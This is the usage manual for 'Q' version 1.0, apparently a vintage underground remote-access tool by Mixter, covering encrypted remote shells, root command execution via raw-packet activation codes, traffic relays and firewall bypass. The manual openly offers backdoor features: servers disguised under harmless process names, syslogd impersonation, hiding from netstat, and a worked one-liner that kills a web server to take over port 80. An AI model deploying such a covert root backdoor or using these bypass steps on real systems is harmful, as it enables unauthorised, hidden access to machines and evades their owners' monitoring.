
                      Q  -  version 1.0
             by Mixter <mixter@newyorkoffice.com>
                     http://1337.tsx.org

   Remote access and redirection services with strong encryption


  1    Installation and configuration
  2    Establishing an encrypted remote shell session as user
  3    Executing a command as root
  4    Invoking an encrypted root shell
  5    Using an encrypted relay / bouncer
  6    Connecting with a normal plaintext client
  7    Bypassing firewalls with Q
  8    Conclusion

1. Installation and configuration

Go into the src/ directory and edit the Makefile. The defaults
should work well for linux. For Solaris and other OS just
uncomment the libraries. You can select your own encryption
algorithm at this point. The default 'alg.c' is cast256, which
works well with Q. You should be able to use any of the AES
candidates as encryption for Q. Those can be found at:
http://www.task.gda.pl/pub/security/crypto/LIBS/aes/ or
http://www.attrition.org/~wrlwnd/ (if you know other sites, let me know).
At compile time, you will be asked for the server password. Chose
a strong password, and make sure not to forget it, it will not be
saved anywhere in readable form. Remove PASS.h after compilation.
Secondly, edit conf.h. The values should be pretty self-explanatory.
Q_ID is the ip->id field of raw packets being sent via qs.
Q_SHELL is a shell or any other program to execute on the remote session.
Q_UID is an uid that redirect/bouncer processes will run at.
If Q_SYSLOG is defined, the program will impersonate syslogd if it
is not running. This is just a nifty 'backdoor' feature, most people
won't need it. HIDDEN, HARMLESS1 and HARMLESS2 are names of the servers,
like they will appear in a 'ps'.
CODE_EXEC, CODE_SSHD and CODE_RED are the activation codes and should be
generally changed. A negative number here means that the code cannot
be triggered; you should keep the CODE_EXEC feature disabled for security
purposes, as commands are not encrypted and therefore can be sent without
authentication once someone sniffed an activation packet.

2. Establishing an encrypted remote shell session as user

To start the listening server, run the file 'ql' as any user. Note
that ql will only listen for one request and then terminate for
security purposes. You can, however, restart 'ql' with crontab or at,
if the server is still listening, new processes will just terminate.
To run a server at port 12345, type './ql 12345'. Now connect with:
'Q <hostname where ql is running> 12345'. You will be asked for the
password you gave at compile time and then be dropped into an
encrypted remote shell session.

3. Executing a system command as root

For the following examples, we will always assume you have a
'qd' process running on host.com. To communicate with the qd
process, which listens to all raw IP packets, you use qs, the
IP messenger. Your qs needs to be the built with the same
configuration as the server.
You issue a command via 'qs -C "command" host.com'.
Note also, that you can address more than one host simultaneously,
if you wanted three hosts to ping you, you would issue:
qs -C "ping -c1 my.dialup.com" host.com host2.com host3.com ...

4. Invoking an encrypted root shell

For every shell session, you have to invoke a new server. Chose
a port to connect to, we'll take 911 - any unused port will do.
Type: qs -p 911 -S host.com   -- a server is now listening on
host.com port 911. Type: Q host.com 911, enter your password and
you will be dropped to a remote encrypted shell.

5. Using an encrypted relay / bouncer

Lets take pop3 as example, because this can easily be established
with a plain tcp connection. Type: qs -p 912 -B "pop.mail.com 110" host.com
A server is now listening on host.com port 912. If you connect a
connection will be opened to pop.mail.com port 110 and all data
sent by you will be decrypted and sent to pop.mail.com. All data
received from pop.mail.com will be encrypted and sent to you.
Connect with: Q host.com 912, enter your password, and you can start
a pop3 session with pop.mail.com. Your hostname will appear as host.com
and data between you and host.com will be encrypted.
Note that bouncer servers will serve an infinite number of connections
and must be terminated with a kill -9 on the server host.

6. Connecting with a normal plaintext client

a) to an unencrypted server
There is the possibility of using Q without encryption at all. Just run qs
with -n and you use it as a normal plaintext bouncer / remote shell server.

b) to an encrypted server
Sure, you could rewrite stuff like telnet, irc, and pop clients
to work with encryption. But the program named transd makes it much
easier. It will act as a tunnel on your local host, doing the
encryption work. Lets say you want to relay to freeshells.net using
the normal 'telnet' client. Start a relay server with:
qs -p 913 -B "freeshells.net 23" host.com
Start transd with: transd host.com 913 1234. Transd will ask for a
password, and then listen on the local host. Connections will be
transparently decrypted/encrypted and relayed to host.com:913, which
will relay them to freeshells.net:23.
You can now simply do a 'telnet 127.0.0.1 1234' and you will be
relayed to freeshells.net over an encrypted relay session. Plaintext
will just be sent over your loopback interface and never get out into the
network. Note: you should consider firewalling the local port (1234 in
this case) to accept only traffic from 'lo' for security purposes.

7. Bypassing firewalls with Q

Once you have a qd process running as root, it is a trivial task to
bypass nearly every firewall. The only exception would be a firewall
that strictly allows only real connected sessions.
If tcp packets are strictly being monitored, you can start qs with -i 2
to send udp or icmp packets. You can also set custom source and
destination ports with -s -d, as none of these parameters matter in an
activation packet. Lets say you have a firewall that denies ALL traffic,
icmp/udp/tcp, except for connections to the webserver. You could
bypass this with something like:
qs -s 80 -d 80 -C "killall httpd" host.com ; qs -s 80 -d 80 -S host.com
Then you can connect to port 80 with Q (uh, this is just an example,
please don't kill your webserver :P).

8. Conclusion

Q is a powerful tool to protect confidential information and privacy,
and to securely access remote hosts with strong encryption.
It also integrates stealth and backdoor features that no other similar
program has (does not show up in netstat, for example), and shows that one
should not rely on common methods of identifying network traffic. It is also
very small, portable and easy to use/install, and generally a handy tool.


Mixter <mixter@newyorkoffice.com>
http://1337.tsx.org
